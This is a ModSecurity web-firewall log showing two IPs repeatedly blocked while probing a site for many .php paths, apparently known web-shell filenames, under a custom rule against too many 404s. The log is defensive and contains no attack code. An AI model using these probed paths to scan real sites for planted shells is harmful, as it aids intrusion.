[Sun Dec 28 20:00:51.319460 2025] [:error] [pid 42292:tid 42305] [client 4.193.233.56:15268] [client 4.193.233.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/app.php"] [unique_id "aVEb85yOrM_vaFx1osZLVgAAAAk"]
[Sun Dec 28 20:00:51.584432 2025] [:error] [pid 43789:tid 43792] [client 4.193.233.56:15261] [client 4.193.233.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/app.php"] [unique_id "aVEb8wa-tUppni4CcCY1AwAAAQE"]
[Sun Dec 28 20:00:52.045977 2025] [:error] [pid 43789:tid 43806] [client 4.193.233.56:15464] [client 4.193.233.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/hplfuns.php"] [unique_id "aVEb9Aa-tUppni4CcCY1BwAAAQ8"]
[Sun Dec 28 20:00:52.445259 2025] [:error] [pid 29388:tid 29399] [client 4.193.233.56:16655] [client 4.193.233.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/hplfuns.php"] [unique_id "aVEb9NoLv2L2zI_SpdXh2AAAAUM"]
[Sun Dec 28 20:00:52.898342 2025] [:error] [pid 42378:tid 42385] [client 4.193.233.56:15239] [client 4.193.233.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/hplfuns.php"] [unique_id "aVEb9DgtcN-KHAjWrX8cCwAAAMU"]
[Sun Dec 28 20:00:53.555744 2025] [:error] [pid 42378:tid 42388] [client 4.193.233.56:15321] [client 4.193.233.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/hplfuns.php"] [unique_id "aVEb9TgtcN-KHAjWrX8cDAAAAMg"]
[Sun Dec 28 20:00:53.860821 2025] [:error] [pid 29437:tid 29486] [client 4.193.233.56:15352] [client 4.193.233.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/cc3.php"] [unique_id "aVEb9RhDotAbVk6pZLfFtwAAAdQ"]
[Sun Dec 28 20:00:54.192472 2025] [:error] [pid 43789:tid 43793] [client 4.193.233.56:15288] [client 4.193.233.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/cc3.php"] [unique_id "aVEb9ga-tUppni4CcCY1CAAAAQI"]
[Sun Dec 28 20:00:54.563640 2025] [:error] [pid 42292:tid 42312] [client 4.193.233.56:15425] [client 4.193.233.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/cc3.php"] [unique_id "aVEb9pyOrM_vaFx1osZLWQAAABA"]
[Sun Dec 28 20:00:55.178464 2025] [:error] [pid 29437:tid 29484] [client 4.193.233.56:15364] [client 4.193.233.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/cc3.php"] [unique_id "aVEb9xhDotAbVk6pZLfFuQAAAdI"]
[Sun Dec 28 20:00:55.990722 2025] [:error] [pid 42378:tid 42386] [client 4.193.233.56:15282] [client 4.193.233.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/3i8som87avh59dosfymtvCakc.php"] [unique_id "aVEb9zgtcN-KHAjWrX8cEgAAAMY"]
[Sun Dec 28 20:00:56.257204 2025] [:error] [pid 42293:tid 42336] [client 4.193.233.56:15181] [client 4.193.233.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/3i8som87avh59dosfymtvCakc.php"] [unique_id "aVEb-Mvc9B-5cwN385LovQAAAE0"]
[Sun Dec 28 20:00:56.648530 2025] [:error] [pid 43789:tid 43803] [client 4.193.233.56:15271] [client 4.193.233.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/3i8som87avh59dosfymtvCakc.php"] [unique_id "aVEb-Aa-tUppni4CcCY1EAAAAQw"]
[Sun Dec 28 20:00:56.893371 2025] [:error] [pid 42378:tid 42387] [client 4.193.233.56:15354] [client 4.193.233.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/3i8som87avh59dosfymtvCakc.php"] [unique_id "aVEb-DgtcN-KHAjWrX8cEwAAAMc"]
[Sun Dec 28 20:00:57.134497 2025] [:error] [pid 42378:tid 42398] [client 4.193.233.56:15195] [client 4.193.233.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ioxi-o.php"] [unique_id "aVEb-TgtcN-KHAjWrX8cFgAAANI"]
[Sun Dec 28 20:00:57.421681 2025] [:error] [pid 29437:tid 29477] [client 4.193.233.56:15335] [client 4.193.233.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ioxi-o.php"] [unique_id "aVEb-RhDotAbVk6pZLfFvAAAAcs"]
[Sun Dec 28 20:00:57.657125 2025] [:error] [pid 42378:tid 42390] [client 4.193.233.56:15210] [client 4.193.233.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ioxi-o.php"] [unique_id "aVEb-TgtcN-KHAjWrX8cGAAAAMo"]
[Sun Dec 28 20:00:58.203661 2025] [:error] [pid 42293:tid 42331] [client 4.193.233.56:15243] [client 4.193.233.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ioxi-o.php"] [unique_id "aVEb-svc9B-5cwN385LovwAAAEg"]
[Sun Dec 28 20:00:58.619093 2025] [:error] [pid 42292:tid 42297] [client 4.193.233.56:15342] [client 4.193.233.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/44.php"] [unique_id "aVEb-pyOrM_vaFx1osZLXQAAAAE"]
[Sun Dec 28 20:00:58.982789 2025] [:error] [pid 42292:tid 42313] [client 4.193.233.56:15345] [client 4.193.233.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/44.php"] [unique_id "aVEb-pyOrM_vaFx1osZLXwAAABE"]
[Sun Dec 28 20:00:59.288174 2025] [:error] [pid 42378:tid 42400] [client 4.193.233.56:15238] [client 4.193.233.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/44.php"] [unique_id "aVEb-zgtcN-KHAjWrX8cGQAAANQ"]
[Sun Dec 28 20:00:59.679249 2025] [:error] [pid 29437:tid 29471] [client 4.193.233.56:15142] [client 4.193.233.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/44.php"] [unique_id "aVEb-xhDotAbVk6pZLfFvgAAAcU"]
[Sun Dec 28 20:01:00.456033 2025] [:error] [pid 29388:tid 29417] [client 4.193.233.56:15266] [client 4.193.233.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sid3.php"] [unique_id "aVEb_NoLv2L2zI_SpdXh4AAAAVU"]
[Sun Dec 28 20:01:01.184943 2025] [:error] [pid 29436:tid 29460] [client 4.193.233.56:15224] [client 4.193.233.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sid3.php"] [unique_id "aVEb_bchzOOtNL9VPNLxUAAAAZU"]
[Sun Dec 28 20:01:01.414015 2025] [:error] [pid 29388:tid 29397] [client 4.193.233.56:15214] [client 4.193.233.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sid3.php"] [unique_id "aVEb_doLv2L2zI_SpdXh4QAAAUE"]
[Sun Dec 28 20:01:01.685487 2025] [:error] [pid 42378:tid 42383] [client 4.193.233.56:15281] [client 4.193.233.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sid3.php"] [unique_id "aVEb_TgtcN-KHAjWrX8cGwAAAMM"]
[Sun Dec 28 20:01:01.942170 2025] [:error] [pid 29436:tid 29441] [client 4.193.233.56:15198] [client 4.193.233.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/re.php"] [unique_id "aVEb_bchzOOtNL9VPNLxUQAAAYI"]
[Sun Dec 28 20:01:02.267761 2025] [:error] [pid 43789:tid 43812] [client 4.193.233.56:15262] [client 4.193.233.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/re.php"] [unique_id "aVEb_ga-tUppni4CcCY1KQAAARU"]
[Sun Dec 28 20:01:02.455542 2025] [:error] [pid 42294:tid 42352] [client 4.193.233.56:15193] [client 4.193.233.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/re.php"] [unique_id "aVEb_tTE5kYcYCOzl9G_jwAAAII"]
[Sun Dec 28 20:01:03.205648 2025] [:error] [pid 42294:tid 42363] [client 4.193.233.56:15260] [client 4.193.233.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/re.php"] [unique_id "aVEb_9TE5kYcYCOzl9G_lAAAAI0"]
[Sun Dec 28 20:01:03.702675 2025] [:error] [pid 29437:tid 29481] [client 4.193.233.56:15408] [client 4.193.233.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/qhLaGswd9DS.php"] [unique_id "aVEb_xhDotAbVk6pZLfFwwAAAc8"]
[Sun Dec 28 20:01:03.962998 2025] [:error] [pid 42294:tid 42361] [client 4.193.233.56:15172] [client 4.193.233.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/qhLaGswd9DS.php"] [unique_id "aVEb_9TE5kYcYCOzl9G_lgAAAIs"]
[Sun Dec 28 20:01:04.384076 2025] [:error] [pid 29436:tid 29454] [client 4.193.233.56:15176] [client 4.193.233.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/qhLaGswd9DS.php"] [unique_id "aVEcALchzOOtNL9VPNLxWAAAAY8"]
[Sun Dec 28 20:01:04.912909 2025] [:error] [pid 42294:tid 42370] [client 4.193.233.56:15186] [client 4.193.233.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/qhLaGswd9DS.php"] [unique_id "aVEcANTE5kYcYCOzl9G_lwAAAJQ"]
[Sun Dec 28 20:01:05.182479 2025] [:error] [pid 42292:tid 42319] [client 4.193.233.56:15277] [client 4.193.233.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/error_log.php"] [unique_id "aVEcAZyOrM_vaFx1osZLYgAAABc"]
[Sun Dec 28 20:01:05.651129 2025] [:error] [pid 42294:tid 42360] [client 4.193.233.56:15480] [client 4.193.233.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/error_log.php"] [unique_id "aVEcAdTE5kYcYCOzl9G_mQAAAIo"]
[Sun Dec 28 20:01:06.236250 2025] [:error] [pid 42294:tid 42355] [client 4.193.233.56:16724] [client 4.193.233.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/error_log.php"] [unique_id "aVEcAtTE5kYcYCOzl9G_mgAAAIU"]
[Sun Dec 28 20:01:06.473311 2025] [:error] [pid 29436:tid 29442] [client 4.193.233.56:15291] [client 4.193.233.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/error_log.php"] [unique_id "aVEcArchzOOtNL9VPNLxWgAAAYM"]
[Sun Dec 28 20:01:06.826990 2025] [:error] [pid 42378:tid 42388] [client 4.193.233.56:15381] [client 4.193.233.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/5b9ac.php"] [unique_id "aVEcAjgtcN-KHAjWrX8cHwAAAMg"]
[Sun Dec 28 20:01:07.259449 2025] [:error] [pid 42293:tid 42330] [client 4.193.233.56:15332] [client 4.193.233.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/5b9ac.php"] [unique_id "aVEcA8vc9B-5cwN385LoygAAAEc"]
[Sun Dec 28 20:01:07.818505 2025] [:error] [pid 42293:tid 42338] [client 4.193.233.56:15328] [client 4.193.233.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/5b9ac.php"] [unique_id "aVEcA8vc9B-5cwN385LozwAAAE8"]
[Sun Dec 28 20:01:08.936710 2025] [:error] [pid 29437:tid 29484] [client 4.193.233.56:15246] [client 4.193.233.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/5b9ac.php"] [unique_id "aVEcBBhDotAbVk6pZLfFxwAAAdI"]
[Sun Dec 28 20:01:09.582612 2025] [:error] [pid 42292:tid 42314] [client 4.193.233.56:15168] [client 4.193.233.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/s.php"] [unique_id "aVEcBZyOrM_vaFx1osZLZgAAABI"]
[Sun Dec 28 20:01:09.917704 2025] [:error] [pid 42294:tid 42356] [client 4.193.233.56:15270] [client 4.193.233.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/s.php"] [unique_id "aVEcBdTE5kYcYCOzl9G_nAAAAIY"]
[Sun Dec 28 20:01:10.145501 2025] [:error] [pid 29388:tid 29420] [client 4.193.233.56:15163] [client 4.193.233.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/s.php"] [unique_id "aVEcBtoLv2L2zI_SpdXh6QAAAVg"]
[Sun Dec 28 20:01:10.362464 2025] [:error] [pid 29388:tid 29396] [client 4.193.233.56:15369] [client 4.193.233.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/s.php"] [unique_id "aVEcBtoLv2L2zI_SpdXh6gAAAUA"]
[Sun Dec 28 20:01:10.630853 2025] [:error] [pid 42294:tid 42358] [client 4.193.233.56:15268] [client 4.193.233.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/admin.php"] [unique_id "aVEcBtTE5kYcYCOzl9G_nQAAAIg"]
[Sun Dec 28 20:01:11.021663 2025] [:error] [pid 42294:tid 42364] [client 4.193.233.56:15329] [client 4.193.233.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/admin.php"] [unique_id "aVEcB9TE5kYcYCOzl9G_ngAAAI4"]
[Sun Dec 28 20:01:11.370746 2025] [:error] [pid 43789:tid 43802] [client 4.193.233.56:15208] [client 4.193.233.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/admin.php"] [unique_id "aVEcBwa-tUppni4CcCY1LwAAAQs"]
[Sun Dec 28 20:01:11.755023 2025] [:error] [pid 42294:tid 42366] [client 4.193.233.56:15203] [client 4.193.233.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/admin.php"] [unique_id "aVEcB9TE5kYcYCOzl9G_oAAAAJA"]
[Sun Dec 28 20:01:12.088054 2025] [:error] [pid 42378:tid 42386] [client 4.193.233.56:15293] [client 4.193.233.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/dparm.php"] [unique_id "aVEcCDgtcN-KHAjWrX8cIgAAAMY"]
[Sun Dec 28 20:01:12.667909 2025] [:error] [pid 42292:tid 42297] [client 4.193.233.56:15324] [client 4.193.233.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/dparm.php"] [unique_id "aVEcCJyOrM_vaFx1osZLbAAAAAE"]
[Sun Dec 28 20:01:12.977029 2025] [:error] [pid 29436:tid 29463] [client 4.193.233.56:15257] [client 4.193.233.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/dparm.php"] [unique_id "aVEcCLchzOOtNL9VPNLxYAAAAZg"]
[Sun Dec 28 20:09:28.990824 2025] [:error] [pid 42292:tid 42315] [client 4.190.188.171:25338] [client 4.190.188.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bak.php"] [unique_id "aVEd-JyOrM_vaFx1osZNQwAAABM"]
[Sun Dec 28 20:09:33.235165 2025] [:error] [pid 43789:tid 43813] [client 4.190.188.171:35768] [client 4.190.188.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bak.php"] [unique_id "aVEd_Qa-tUppni4CcCY2gwAAARY"]
